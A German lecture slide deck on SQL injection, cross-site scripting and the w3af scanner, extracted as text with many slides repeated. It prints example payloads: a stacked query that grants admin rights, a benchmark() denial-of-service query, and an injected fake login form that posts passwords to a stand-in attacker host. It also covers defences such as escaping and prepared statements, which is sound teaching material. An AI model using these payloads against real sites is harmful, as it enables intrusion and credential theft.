Web Application Security: SQL Injection, Cross Site ... fileRico van Endern: w3af w3af - Demo 2/ 21...
Transcript of Web Application Security: SQL Injection, Cross Site ... fileRico van Endern: w3af w3af - Demo 2/ 21...
Rico van Endern: w3afw3af - Demo 1/ 21
Web Application Security:SQL Injection, Cross Site Scripting
w3af
Rico van Endern
12. Februar 2014
Rico van Endern: w3afw3af - Demo 2/ 21
Inhaltsverzeichnis
1 Einleitung
2 w3af - Definition
3 SQL-InjektionDefinitionAngriffsmoglichkeitenSchutzmoglichkeiten
4 Cross-Site-ScriptingDefinitionAngriffsmoglichkeitenSchutzmoglichkeiten
5 Literaturverzeichnis
6 w3af - Demo
Rico van Endern: w3afw3af - Demo 3/ 21
Einleitung
Webanwendungen werden immer ...
großer
aufwandiger
komplexer
interaktiver
Problem:
Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko
Rico van Endern: w3afw3af - Demo 3/ 21
Einleitung
Webanwendungen werden immer ...
großer
aufwandiger
komplexer
interaktiver
Problem:
Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko
Rico van Endern: w3afw3af - Demo 3/ 21
Einleitung
Webanwendungen werden immer ...
großer
aufwandiger
komplexer
interaktiver
Problem:
Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko
Rico van Endern: w3afw3af - Demo 3/ 21
Einleitung
Webanwendungen werden immer ...
großer
aufwandiger
komplexer
interaktiver
Problem:
Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko
Rico van Endern: w3afw3af - Demo 3/ 21
Einleitung
Webanwendungen werden immer ...
großer
aufwandiger
komplexer
interaktiver
Problem:
Interaktiver → Eingabemoglichkeiten → Sicherheitsrisiko
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 4/ 21
w3af - Definition
Was ist ”w3af”?
steht fur ”Web Application Attack and Aduit Framework”
Analyse-Toolkit fur Angreifbarkeit von Webanwendungen
Durchsucht die Webanwendung nach Eingabemoglichkeiten
Analysiert die Eingabemoglichkeiten auf Sicherheitsrisiken
Sammeln von (unter anderem) Sicherheitsrelevanten Daten
benutzt Black-Box Verfahren
Rico van Endern: w3afw3af - Demo 5/ 21
SQL-Injektion - Definition
Was ist SQL-Injektion?
Injizieren/Einschleusen von SQL-Code
ermoglicht durch Einbindung in SQL-Queries
verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)
benotigt offensichtlich eine Eingabemoglichkeit
Rico van Endern: w3afw3af - Demo 5/ 21
SQL-Injektion - Definition
Was ist SQL-Injektion?
Injizieren/Einschleusen von SQL-Code
ermoglicht durch Einbindung in SQL-Queries
verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)
benotigt offensichtlich eine Eingabemoglichkeit
Rico van Endern: w3afw3af - Demo 5/ 21
SQL-Injektion - Definition
Was ist SQL-Injektion?
Injizieren/Einschleusen von SQL-Code
ermoglicht durch Einbindung in SQL-Queries
verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)
benotigt offensichtlich eine Eingabemoglichkeit
Rico van Endern: w3afw3af - Demo 5/ 21
SQL-Injektion - Definition
Was ist SQL-Injektion?
Injizieren/Einschleusen von SQL-Code
ermoglicht durch Einbindung in SQL-Queries
verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)
benotigt offensichtlich eine Eingabemoglichkeit
Rico van Endern: w3afw3af - Demo 5/ 21
SQL-Injektion - Definition
Was ist SQL-Injektion?
Injizieren/Einschleusen von SQL-Code
ermoglicht durch Einbindung in SQL-Queries
verandern des SQL-Query durch SQL-Syntax selbst(Steuerzeichen)
benotigt offensichtlich eine Eingabemoglichkeit
Rico van Endern: w3afw3af - Demo 6/ 21
SQL-Injektion - Angriffsmoglichkeiten
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;
$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?
Rico van Endern: w3afw3af - Demo 6/ 21
SQL-Injektion - Angriffsmoglichkeiten
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;
$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?
Rico van Endern: w3afw3af - Demo 6/ 21
SQL-Injektion - Angriffsmoglichkeiten
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=”$VARIABLE” ;
$VARIABLE={Mustermann} → Alles Normal$VARIABLE={Mustermann” OR ‘admin‘=”1} → ?
Rico van Endern: w3afw3af - Demo 7/ 21
SQL-Injektion - Angriffsmoglichkeiten
$VARIABLE={Mustermann” OR ‘admin‘=”1} →
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ” OR ‘ admin ‘=”1” ;
Rico van Endern: w3afw3af - Demo 8/ 21
SQL-Injektion - Angriffsmoglichkeiten
$VARIABLE={Mustermann”; UPDATE ‘user‘ SET ‘admin‘=”1”WHERE ‘username‘=”Hacker}
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ” ;
UPDATE ‘ use r ‘ SET ‘ admin ‘=”1” WHERE‘ username ‘=” Hacker ” ;
Rico van Endern: w3afw3af - Demo 9/ 21
SQL-Injektion - Angriffsmoglichkeiten
Benotigtes Wissen uber Datenbank-Struktur
Raten
Intuitiv gewahlte Namen
Fehlermeldungen hervorrufen
Rico van Endern: w3afw3af - Demo 9/ 21
SQL-Injektion - Angriffsmoglichkeiten
Benotigtes Wissen uber Datenbank-Struktur
Raten
Intuitiv gewahlte Namen
Fehlermeldungen hervorrufen
Rico van Endern: w3afw3af - Demo 9/ 21
SQL-Injektion - Angriffsmoglichkeiten
Benotigtes Wissen uber Datenbank-Struktur
Raten
Intuitiv gewahlte Namen
Fehlermeldungen hervorrufen
Rico van Endern: w3afw3af - Demo 10/ 21
SQL-Injektion - Angriffsmoglichkeiten
”Denial of Service” (DoS) Angriff
$VARIABLE={Mustermann” UNION SELECTbenchmark(999,SHA(MD5(REPEAT(’DoS’,999)))) UNIONSELECT ‘vorname‘ FROM ‘user‘ WHERE‘nachname‘=”Mustermann}
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ”UNION SELECTbenchmark (999 ,SHA(MD5(REPEAT( ’DoS ’ , 9 9 9 ) ) ) )UNION SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=” Mustermann ” ;
Rico van Endern: w3afw3af - Demo 10/ 21
SQL-Injektion - Angriffsmoglichkeiten
”Denial of Service” (DoS) Angriff
$VARIABLE={Mustermann” UNION SELECTbenchmark(999,SHA(MD5(REPEAT(’DoS’,999)))) UNIONSELECT ‘vorname‘ FROM ‘user‘ WHERE‘nachname‘=”Mustermann}
SELECT ‘ vorname ‘ FROM ‘ use r ‘ WHERE‘ nachname ‘=” Mustermann ”UNION SELECTbenchmark (999 ,SHA(MD5(REPEAT( ’DoS ’ , 9 9 9 ) ) ) )UNION SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=” Mustermann ” ;
Rico van Endern: w3afw3af - Demo 11/ 21
SQL-Injektion -Schutzmoglichkeiten
Schutzmoglichkeiten
nicht jede Losung lost alle Probleme
nicht jede Losung deckt alle Falle ab
nicht jede Losung ist fur jede Anwendung geeignet
Rico van Endern: w3afw3af - Demo 11/ 21
SQL-Injektion -Schutzmoglichkeiten
Schutzmoglichkeiten
nicht jede Losung lost alle Probleme
nicht jede Losung deckt alle Falle ab
nicht jede Losung ist fur jede Anwendung geeignet
Rico van Endern: w3afw3af - Demo 11/ 21
SQL-Injektion -Schutzmoglichkeiten
Schutzmoglichkeiten
nicht jede Losung lost alle Probleme
nicht jede Losung deckt alle Falle ab
nicht jede Losung ist fur jede Anwendung geeignet
Rico van Endern: w3afw3af - Demo 12/ 21
SQL-Injektion -Schutzmoglichkeiten
Atomare Query
nur genau ein Query pro Aktion
oft bereits Standardmaßig implementiert
durch Inline-Query teilweise umgehbar
Rico van Endern: w3afw3af - Demo 12/ 21
SQL-Injektion -Schutzmoglichkeiten
Atomare Query
nur genau ein Query pro Aktion
oft bereits Standardmaßig implementiert
durch Inline-Query teilweise umgehbar
Rico van Endern: w3afw3af - Demo 12/ 21
SQL-Injektion -Schutzmoglichkeiten
Atomare Query
nur genau ein Query pro Aktion
oft bereits Standardmaßig implementiert
durch Inline-Query teilweise umgehbar
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 13/ 21
SQL-Injektion -Schutzmoglichkeiten
Maskieren / Escapen
filtern der Eingabe vor dem Einbinden in SQL-Query
Steuerzeichen nicht einfach nur entfernen
Steuerzeichen so darstellen das sie nicht als solcheInterpretiert werden (vom DBMS)
Eigenentwicklung ist hier gefahrlich
Vorgefertigte Funktionen
”mysql escape string” → Bit-Ebene
”mysql real escape string” → Text-Ebene
Rico van Endern: w3afw3af - Demo 14/ 21
SQL-Injektion -Schutzmoglichkeiten
Prepared Statements
Kapselung des Variablenersetzen vom Rest des SQL-Query
solange ordentlich Implementiert eine fehlerfreie Losung
Rico van Endern: w3afw3af - Demo 14/ 21
SQL-Injektion -Schutzmoglichkeiten
Prepared Statements
Kapselung des Variablenersetzen vom Rest des SQL-Query
solange ordentlich Implementiert eine fehlerfreie Losung
Rico van Endern: w3afw3af - Demo 14/ 21
SQL-Injektion -Schutzmoglichkeiten
Prepared Statements
Kapselung des Variablenersetzen vom Rest des SQL-Query
solange ordentlich Implementiert eine fehlerfreie Losung
Rico van Endern: w3afw3af - Demo 15/ 21
SQL-Injektion -Schutzmoglichkeiten
Statement vorbereiten:
SQL : PREPARE stmt FROM ’SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=? ’ ;
PHP: $stmt = $mysq l i−>p r e p a r e ( ”SELECT‘ vorname ‘ FROM ‘ use r ‘ WHERE ‘ nachname ‘=?” )
Statement benutzen:
SQL : SET @a = ”$VARIABLE” ;SQL : EXECUTE stmt USING @a ;PHP: $stmt−>bind param ( ”a” , $VARIABLE ) ;PHP: $stmt−>e x e c u t e ( ) ;
Rico van Endern: w3afw3af - Demo 15/ 21
SQL-Injektion -Schutzmoglichkeiten
Statement vorbereiten:
SQL : PREPARE stmt FROM ’SELECT ‘ vorname ‘ FROM‘ use r ‘ WHERE ‘ nachname ‘=? ’ ;
PHP: $stmt = $mysq l i−>p r e p a r e ( ”SELECT‘ vorname ‘ FROM ‘ use r ‘ WHERE ‘ nachname ‘=?” )
Statement benutzen:
SQL : SET @a = ”$VARIABLE” ;SQL : EXECUTE stmt USING @a ;PHP: $stmt−>bind param ( ”a” , $VARIABLE ) ;PHP: $stmt−>e x e c u t e ( ) ;
Rico van Endern: w3afw3af - Demo 16/ 21
Cross-Site-Scripting - Definition
Was ist Cross-Site-Scripting?
kurz XSS
Einschleusen von Client-Seitigem Code (z.B. Javascript)
meist in HTML-<script>Blocken gebunden
Eingabe muss irgendwo dargestellt werden
Rico van Endern: w3afw3af - Demo 16/ 21
Cross-Site-Scripting - Definition
Was ist Cross-Site-Scripting?
kurz XSS
Einschleusen von Client-Seitigem Code (z.B. Javascript)
meist in HTML-<script>Blocken gebunden
Eingabe muss irgendwo dargestellt werden
Rico van Endern: w3afw3af - Demo 16/ 21
Cross-Site-Scripting - Definition
Was ist Cross-Site-Scripting?
kurz XSS
Einschleusen von Client-Seitigem Code (z.B. Javascript)
meist in HTML-<script>Blocken gebunden
Eingabe muss irgendwo dargestellt werden
Rico van Endern: w3afw3af - Demo 16/ 21
Cross-Site-Scripting - Definition
Was ist Cross-Site-Scripting?
kurz XSS
Einschleusen von Client-Seitigem Code (z.B. Javascript)
meist in HTML-<script>Blocken gebunden
Eingabe muss irgendwo dargestellt werden
Rico van Endern: w3afw3af - Demo 16/ 21
Cross-Site-Scripting - Definition
Was ist Cross-Site-Scripting?
kurz XSS
Einschleusen von Client-Seitigem Code (z.B. Javascript)
meist in HTML-<script>Blocken gebunden
Eingabe muss irgendwo dargestellt werden
Rico van Endern: w3afw3af - Demo 17/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Alert Erzeugen:
< s c r i p t type=” t e x t / j a v a s c r i p t ”>a l e r t ( ”XSS”);</ s c r i p t >
DOM-Element Loschen:
< s c r i p t type=” t e x t / j a v a s c r i p t ”>document . getE lmentById ( ”ElementName” ) . parentNode .r emoveCh i ld ( document . getE lmentById ( ”ElementName” ) ) ;</ s c r i p t >
Rico van Endern: w3afw3af - Demo 17/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Alert Erzeugen:
< s c r i p t type=” t e x t / j a v a s c r i p t ”>a l e r t ( ”XSS”);</ s c r i p t >
DOM-Element Loschen:
< s c r i p t type=” t e x t / j a v a s c r i p t ”>document . getE lmentById ( ”ElementName” ) . parentNode .r emoveCh i ld ( document . getE lmentById ( ”ElementName” ) ) ;</ s c r i p t >
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 18/ 21
Cross-Site-Scripting - Angriffsmoglichkeiten
Fake Formular erzeugen:
<form a c t i o n=” ht tp ://www. s c r i p t k i d d y . de/ k l auen . php”method=” pos t ”>Gib de i n Passwort e i n : < i n pu t type = ” t e x t ”name = ” pas swor t ”/>< i n pu t type=” submit ” v a l u e=”LOGIN”/></form>
Was ist sonst noch denkbar...
komplette Website ”On-The-Fly” bauen
Eingaben abfangen
Eingaben erzwingen
Werbung einblenden
Mauszeiger alle 0,03s um 2 Pixel nach links versetzen...
Rico van Endern: w3afw3af - Demo 19/ 21
Cross-Site-Scripting - Schutzmoglichkeit
Steuerzeichen entfernen:
$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”> ” , $EINGABE ) ;
Spezifisch Tags entfernen:
$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )
Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)
j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )
Rico van Endern: w3afw3af - Demo 19/ 21
Cross-Site-Scripting - Schutzmoglichkeit
Steuerzeichen entfernen:
$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”> ” , $EINGABE ) ;
Spezifisch Tags entfernen:
$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )
Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)
j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )
Rico van Endern: w3afw3af - Demo 19/ 21
Cross-Site-Scripting - Schutzmoglichkeit
Steuerzeichen entfernen:
$EINGABE = s t r r e p l a c e ( ”<” , ”&l t ” , $ POST [ ’ I n pu tF e l d ’ ] ) ;$EINGABE = s t r r e p l a c e ( ”>” , ”> ” , $EINGABE ) ;
Spezifisch Tags entfernen:
$EINGABE = s t r i p t a g s ($ POST [ ’ I n pu tF e l d ’ ] , $Wh i t e l i s t )
Problem bei Sonderfallen: (Input in vorhandenen Tag eingefugt)
j a v a s c r i p t : e v a l ( S t r i n g . fromCharCode (66 , 79 , 69 , 83 , 69 ) )
Rico van Endern: w3afw3af - Demo 20/ 21
Literaturverzeichnis
Sichere WebanwendungenKurzel SW:2009Autor Mario Heiderich, Christian Matthies, Johannes Dahse, fukamiISBN 978-3-8362-1194-9Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1241714
Sichere Webanwendungen mit PHPKurzel SWmP:2007Autor Tobias WassermannISBN 978-3-8266-1754-6Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1188639
SQL injection attacks and defenseKurzel Siaad:2012Autor Justin ClarkeISBN 978-1-59749-973-6Zitierlink (UniBib) http://www.ub.tu-dortmund.de/katalog/titel/1414187